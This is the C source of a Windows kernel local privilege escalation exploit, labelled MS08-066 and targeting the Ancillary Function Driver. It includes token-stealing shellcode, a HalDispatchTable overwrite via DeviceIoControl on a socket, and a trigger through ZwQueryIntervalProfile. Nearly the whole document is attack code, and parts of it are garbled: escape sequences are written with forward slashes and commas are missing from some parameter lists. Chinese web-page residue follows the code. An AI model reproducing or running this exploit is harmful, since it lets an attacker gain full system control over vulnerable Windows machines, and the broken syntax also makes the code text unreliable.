ms08-066

  1. #include <stdio.h>
  2. #include <winsock2.h>
  3. #include <windows.h>
  4. #pragma comment(lib, "ws2_32.lib")
  5. #define NTSTATUS        int
  6. typedef struct _PROCESS_BASIC_INFORMATION {
  7. NTSTATUS ExitStatus;
  8. PVOID PebBaseAddress;
  9. ULONG AffinityMask;
  10. ULONG BasePriority;
  11. ULONG UniqueProcessId;
  12. ULONG InheritedFromUniqueProcessId;
  13. } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
  14. typedef struct _IMAGE_FIXUP_ENTRY {
  15. USHORT        Offset:12;
  16. USHORT        Type:4;
  17. } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
  18. typedef enum _PROCESS_IMFORMATION_CLASS {
  19. ProcessBasicInformation,
  20. ProcessQuotaLimits,
  21. ProcessIoCounters,
  22. ProcessVmCounters,
  23. ProcessTimes,
  24. ProcessBasePriority,
  25. ProcessRaisePriority,
  26. ProcessDebugPort,
  27. ProcessExceptionPort,
  28. ProcessAccessToken,
  29. ProcessLdtInformation,
  30. ProcessLdtSize,
  31. ProcessDeaultHardErrorMode,
  32. ProcessIoPortHandlers,
  33. ProcessPooledUsageAndLimits,
  34. ProcessWorkingSetWatch,
  35. ProcessUserModeIOPL,
  36. ProcessEnableAlignmentFaultFixup,
  37. ProcessPriorityClass,
  38. ProcessWx86Information,
  39. ProcessHandleCount,
  40. ProcessAffinityMask,
  41. ProcessPriorityBoost,
  42. ProcessDeviceMap,
  43. ProcessSessionInformation,
  44. ProcessForegroundInformation,
  45. ProcessWow64Information
  46. } PROCESS_INFORMATION_CLASS;
  47. typedef enum _SYSTEM_INFORMATION_CLASS {
  48. SystemBasicInformation,
  49. SystemProcessorInformation,
  50. SystemPerformanceInformation,
  51. SystemTimeOfDayInformation,
  52. SystemNotImplemented1,
  53. SystemProcessesAndThreadsInformation,
  54. SystemCallCounts,
  55. SystemConfigurationInformation,
  56. SystemProcessorTimes,
  57. SystemGlobalFlag,
  58. SystemNotImplemented2,
  59. SystemModuleInformation,
  60. SystemLockInformation,
  61. SystemNotImplemented3,
  62. SystemNotImplemented4,
  63. SystemNotImplemented5,
  64. SystemHandleInformation,
  65. SystemObjectInformation,
  66. SystemPagefileInformation,
  67. SystemInstructioEmulationCounts,
  68. SystemInvalidInfoClass1,
  69. SystemCacheInformation,
  70. SystemPoolTagInformation,
  71. SystemProcessorStatistics,
  72. SystemDpcInformation,
  73. SystemNotImplemented6,
  74. SystemLoadImage,
  75. SystemUnloadImage,
  76. SystemTimeAdjustment,
  77. SystemNotImplemented7,
  78. SystemNotImplemented8,
  79. SystemNotImplemented9,
  80. SystemCrashDumpInformation,
  81. SystemExceptionInformation,
  82. SystemCrashDumpStateInformation,
  83. SystemKernelDebuggerInformation,
  84. SystemContextSwitchInformation,
  85. SystemRegisterQuotaInformation,
  86. SystemLoadAndCallImage,
  87. SystemPrioritySeparation
  88. } SYSTEM_INFORMATION_CLASS;
  89. typedef enum _KPROFILE_SOURCE {
  90. ProfileTime,
  91. ProfileAlignmentFixup,
  92. ProfileTotalIssues,
  93. ProfilePipelineDry,
  94. ProfileLoadInstructions,
  95. ProfilePipelineFrozen,
  96. ProfileBranchInstructions,
  97. ProfileTotalNonissues,
  98. ProfileDcacheMisses,
  99. ProfileIcacheMisses,
  100. ProfileCacheMisses,
  101. ProfileBranchMispredictions,
  102. ProfileStoreInstructions,
  103. ProfileFpInstructions,
  104. ProfileIntegerInstructions,
  105. Profile2Issue,
  106. Profile3Issue,
  107. Profile4Issue,
  108. ProfileSpecialInstructions,
  109. ProfileTotalCycles,
  110. ProfileIcacheIssues,
  111. ProfileDcacheAccesses,
  112. ProfileMemoryBarrierCycles,
  113. ProfileLoadLinkedIssues,
  114. ProfileMaximum
  115. } KPROFILE_SOURCE, *PKPROFILE_SOURCE;
  116. typedef struct _UNICODE_STRING {
  117. USHORT        Length;
  118. USHORT        MaximumLength;
  119. PWSTR        Buffer;
  120. } UNICODE_STRING, *PUNICODE_STRING;
  121. typedef struct _SECTION_BASIC_INFORMATION {
  122. PVOID BaseAddress;
  123. ULONG Attributes;
  124. LARGE_INTEGER Size;
  125. }SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;
  126. typedef struct _SYSTEM_MODULE_INFORMATION {
  127. ULONG Reserved[2];
  128. PVOID Base;
  129. ULONG Size;
  130. ULONG Flags;
  131. USHORT Index;
  132. USHORT Unknown;
  133. USHORT LoadCount;
  134. USHORT ModuleNameOffset;
  135. CHAR ImageName[256];
  136. } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
  137. typedef NTSTATUS (NTAPI *ZWQUERYINTERNALPROFILE)(ULONGPULONG);
  138. typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLEULONGPVOIDULONGPULONG);
  139. typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONGPVOIDULONGPULONG);
  140. typedef NTSTATUS (NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLEPVOID *, ULONGPULONGULONGULONG);
  141. typedef PIMAGE_NT_HEADERS (NTAPI *RTLIMAGENTHEADER)(PVOID);
  142. typedef PVOID (NTAPI *RTLIMAGEDIRECTORYENTRYTODATA)(PVOIDULONGUSHORTPULONG);
  143. ZWQUERYINTERNALPROFILE        ZwQueryIntervalProfile;
  144. ZWQUERYINFORMATIONPROCESS        ZwQueryInformationProcess;
  145. ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
  146. ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;
  147. RTLIMAGENTHEADER RtlImageNtHeader;
  148. RTLIMAGEDIRECTORYENTRYTODATA RtlImageDirectoryEntryToData;
  149. unsigned char kfunctions[64][64] =
  150. {
  151. //ntoskrnl.exe
  152. {"ZwTerminateProcess"},
  153. {"PsLookupProcessByProcessId"},
  154. {""},
  155. };
  156. unsigned char shellcode[] =
  157. "/x90/x60/x9c/xe9/xc4/x00/x00/x00/x5f/x4f/x47/x66/x81/x3f/x90/xcc"
  158. "/x75/xf8/x66/x81/x7f/x02/xcc/x90/x75/xf0/x83/xc7/x04/x64/x8b/x35"
  159. "/x38/x00/x00/x00/xad/xad/x48/x81/x38/x4d/x5a/x90/x00/x75/xf7/x95"
  160. "/x8b/xf7/x6a/x02/x59/xe8/x4d/x00/x00/x00/xe2/xf9/x8b/x4e/x0c/xe8"
  161. "/x29/x00/x00/x00/x50/x8b/x4e/x08/xe8/x20/x00/x00/x00/x5a/x8b/x7e"
  162. "/x1c/x8b/x0c/x3a/x89/x0c/x38/x56/x8b/x7e/x14/x8b/x4e/x18/x8b/x76"
  163. "/x10/xf3/xa4/x5e/x33/xc0/x50/x50/xff/x16/x9d/x61/xc3/x83/xec/x04"
  164. "/x8d/x2c/x24/x55/x51/xff/x56/x04/x85/xc0/x0f/x85/x80/x8f/x00/x00"
  165. "/x8b/x45/x00/x83/xc4/x04/xc3/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78"
  166. "/x03/xf5/x56/x8b/x76/x20/x03/xf5/x33/xc9/x49/x41/xad/x03/xc5/x33"
  167. "/xdb/x0f/xbe/x10/x85/xd2/x74/x08/xc1/xcb/x07/x03/xda/x40/xeb/xf1"
  168. "/x3b/x1f/x75/xe7/x5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e"
  169. "/x1c/x03/xdd/x8b/x04/x8b/x03/xc5/xab/x5e/x59/xc3/xe8/x37/xff/xff"
  170. "/xff/x90/x90/x90"
  171. "/x90/xcc/xcc/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  172. "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  173. "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xcc/x90/x90/xcc";
  174. void ErrorQuit(pMsg)
  175. {
  176. printf("%sError Code:%d/n", pMsg, GetLastError());
  177. ExitProcess(0);
  178. }
  179. ULONG ComputeHash(char *ch)
  180. {
  181. ULONG ret = 0;
  182. while(*ch)
  183. {
  184. ret = ((ret << 25) | (ret >> 7)) + *ch++;
  185. }
  186. return ret;
  187. }
  188. void GetFunction()
  189. {
  190. HANDLE        hNtdll;
  191. hNtdll = LoadLibrary("ntdll.dll");
  192. if(hNtdll == NULL)
  193. ErrorQuit("LoadLibrary failed./n");
  194. ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(hNtdll, "ZwQueryIntervalProfile");
  195. if(ZwQueryIntervalProfile == NULL)
  196. ErrorQuit("GetProcAddress failed./n");
  197. ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
  198. if(ZwQueryInformationProcess == NULL)
  199. ErrorQuit("GetProcAddress failed./n");
  200. ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
  201. if(ZwQuerySystemInformation == NULL)
  202. ErrorQuit("GetProcessAddress failed./n");
  203. ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
  204. if(ZwAllocateVirtualMemory == NULL)
  205. ErrorQuit("GetProcAddress failed./n");
  206. RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader");
  207. if(RtlImageNtHeader == NULL)
  208. ErrorQuit("GetProcAddress failed./n");
  209. RtlImageDirectoryEntryToData = (RTLIMAGEDIRECTORYENTRYTODATA)GetProcAddress(hNtdll, "RtlImageDirectoryEntryToData");
  210. if(RtlImageDirectoryEntryToData == NULL)
  211. ErrorQuit("GetProcAddress failed./n");
  212. FreeLibrary(hNtdll);
  213. }
  214. ULONG GetKernelBase(char *KernelName)
  215. {
  216. ULONG        i, Byte, ModuleCount, KernelBase;
  217. PVOID        pBuffer;
  218. PSYSTEM_MODULE_INFORMATION        pSystemModuleInformation;
  219. PCHAR        pName;
  220. ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
  221. if((pBuffer = malloc(Byte)) == NULL)
  222. ErrorQuit("malloc failed./n");
  223. if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
  224. ErrorQuit("ZwQuerySystemInformation failed/n");
  225. ModuleCount = *(PULONG)pBuffer;
  226. pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
  227. for(i = 0; i < ModuleCount; i++)
  228. {
  229. if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
  230. {
  231. KernelBase = (ULONG)pSystemModuleInformation->Base;
  232. printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
  233. free(pBuffer);
  234. strcpy(KernelName, "ntoskrnl.exe");
  235. return KernelBase;
  236. }
  237. if((pName = strstr(pSystemModuleInformation->ImageName, "ntkrnlpa.exe")) != NULL)
  238. {
  239. KernelBase = (ULONG)pSystemModuleInformation->Base;
  240. printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
  241. free(pBuffer);
  242. strcpy(KernelName, "ntkrnlpa.exe");
  243. return KernelBase;
  244. }
  245. pSystemModuleInformation++;
  246. }
  247. free(pBuffer);
  248. return 0;
  249. }
  250. ULONG GetServiceTable(PVOID pImageBase, ULONG Address)
  251. {
  252. PIMAGE_NT_HEADERS        pNtHeaders;
  253. PIMAGE_BASE_RELOCATION        pBaseRelocation;
  254. PIMAGE_FIXUP_ENTRY        pFixupEntry;
  255. ULONG        RelocationTableSize = 0;
  256. ULONG        Offset, i, VirtualAddress, Rva;
  257. Offset = Address - (ULONG)pImageBase;
  258. pNtHeaders = (PIMAGE_NT_HEADERS)RtlImageNtHeader(pImageBase);
  259. pBaseRelocation = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData(pImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &RelocationTableSize);
  260. if(pBaseRelocation == NULL)
  261. return 0;
  262. do
  263. {
  264. pFixupEntry = (PIMAGE_FIXUP_ENTRY)((ULONG)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
  265. RelocationTableSize = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1;
  266. for(i = 0; i < RelocationTableSize; i++, pFixupEntry++)
  267. {
  268. if(pFixupEntry->Type == IMAGE_REL_BASED_HIGHLOW)
  269. {
  270. VirtualAddress = pBaseRelocation->VirtualAddress + pFixupEntry->Offset;
  271. Rva = *(PULONG)((ULONG)pImageBase + VirtualAddress) - (ULONG)pNtHeaders->OptionalHeader.ImageBase;
  272. if(Rva == Offset)
  273. {
  274. if (*(PUSHORT)((ULONG)pImageBase + VirtualAddress - 2) == 0x05c7)
  275. return *(PULONG)((ULONG)pImageBase + VirtualAddress + 4) - pNtHeaders->OptionalHeader.ImageBase;
  276. }
  277. }
  278. }
  279. *(PULONG)&pBaseRelocation += pBaseRelocation->SizeOfBlock;
  280. while(pBaseRelocation->VirtualAddress);
  281. return 0;
  282. }
  283. int main(int argc, char* argv[])
  284. {
  285. PVOID                pDrivers[256];
  286. PVOID                pOldKernelInfo, pMapAddress = NULL;
  287. PULONG        pStoreBuffer, pShellcode, pFakeKernelInfo;
  288. PUCHAR        pRestoreBuffer, pBase, FunctionAddress;
  289. PROCESS_BASIC_INFORMATION pbi;
  290. SYSTEM_MODULE_INFORMATION        smi;
  291. SECTION_BASIC_INFORMATION sbi;
  292. KPROFILE_SOURCE        ProfileSource;
  293. OSVERSIONINFO        ovi;
  294. char                DriverName[256], KernelName[64];
  295. ULONG                Byte, len, i, j, k, BaseAddress, Value, KernelBase, buf[64];
  296. ULONG                HookAddress, SystemId, TokenOffset, Sections, Pid, FunctionNumber;
  297. ULONG                HDTOffset, AllocationSize;
  298. ULONG                Result;
  299. HANDLE        hKernel;
  300. WSADATA        wsad;
  301. int                sockfd;
  302. struct sockaddr_in saddr;
  303. printf("/n MS08-0xx Windows Kernel Ancillary Function Driver Local Privilege Escalation Vulnerability Exploit /n/n");
  304. printf("/t Create by SoBeIt. /n/n");
  305. if(argc != 1)
  306. {
  307. printf(" Usage:%s/n/n", argv[0]);
  308. return 1;
  309. }
  310. pFakeKernelInfo = (PULONG)malloc(256);
  311. GetFunction();
  312. if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
  313. ErrorQuit("ZwQueryInformationProcess failed/n");
  314. KernelBase = GetKernelBase(KernelName);
  315. if(!KernelBase)
  316. ErrorQuit("Unable to get kernel base address./n");
  317. printf("Kernel base address: %x/n", KernelBase);
  318. ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  319. if(!GetVersionEx(&ovi))
  320. ErrorQuit("GetVersionEx failed./n");
  321. if(ovi.dwMajorVersion != 5 && ovi.dwMajorVersion != 6)
  322. ErrorQuit("Not Windows NT family OS./n");
  323. printf("Major Version:%d Minor Version:%d/n", ovi.dwMajorVersion, ovi.dwMinorVersion);
  324. switch(ovi.dwMinorVersion)
  325. {
  326. case 0:                                                //Windows2000
  327. SystemId = 8;
  328. TokenOffset = 0x12c;
  329. break;
  330. case 1:                                                //WindowsXP
  331. SystemId = 4;
  332. TokenOffset = 0xc8;
  333. break;
  334. case 2:                                                //Windows2003
  335. SystemId = 4;
  336. TokenOffset = 0xd8;
  337. break;
  338. default:
  339. SystemId = 4;
  340. TokenOffset = 0xc8;
  341. }
  342. hKernel = LoadLibrary(KernelName);
  343. if(hKernel == NULL)
  344. ErrorQuit("LoadLibrary failed./n");
  345. printf("Load Base:%x/n", (ULONG)hKernel);
  346. HDTOffset = (ULONG)GetProcAddress(hKernel, "HalDispatchTable");
  347. HDTOffset += KernelBase - (ULONG)hKernel;
  348. printf("HalDispatchTable Offset:%x/n", HDTOffset);
  349. HookAddress = (ULONG)(HDTOffset + 4);
  350. printf("NtQueryIntervalProfile function entry address:%x/n", HookAddress);
  351. AllocationSize = 0x1000;
  352. pStoreBuffer = (PULONG)0x7fb0;
  353. if(ZwAllocateVirtualMemory((HANDLE)0xffffffff, &pStoreBuffer, 0, &AllocationSize,
  354. MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE))
  355. ErrorQuit("ZwAllocateVirtualMemory failed./n");
  356. pRestoreBuffer = malloc(0x100);
  357. memset(pStoreBuffer, 0x90, AllocationSize);
  358. pShellcode = (PULONG)shellcode;
  359. for(k = 0; pShellcode[k++] != 0x90cccc90; )
  360. ;
  361. for(j = 0; kfunctions[j][0] != '/x0'; j++)
  362. buf[j] = ComputeHash(kfunctions[j]);
  363. buf[j++] = pbi.InheritedFromUniqueProcessId;
  364. buf[j++] = SystemId;
  365. buf[j++] = (ULONG)pRestoreBuffer;
  366. buf[j++] = HookAddress;
  367. buf[j++] = 0x04;
  368. buf[j++] = TokenOffset;
  369. memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
  370. memcpy((PUCHAR)0x8000, shellcode, sizeof(shellcode) - 1);
  371. if(WSAStartup(MAKEWORD(2, 2), &wsad) != 0)
  372. ErrorQuit("WSAStartup failed./n");
  373. if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  374. ErrorQuit("socket failed./n");
  375. saddr.sin_family = AF_INET;
  376. saddr.sin_port = htons(0x1bd);
  377. saddr.sin_addr.s_addr = 0x100007f;
  378. if(connect(sockfd, (struct sockaddr *)&saddr, sizeof(struct sockaddr)))
  379. ErrorQuit("connect failed./n");
  380. DeviceIoControl((HANDLE)sockfd, 0x1203F, NULL, 0, (PVOID)(HookAddress - 3), 0, &Result, NULL);
  381. ProfileSource = ProfileTotalIssues;
  382. ZwQueryIntervalProfile(ProfileSource, &Result);
  383. printf("Exploit finished./n");
  384. return 1;
  385. }
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值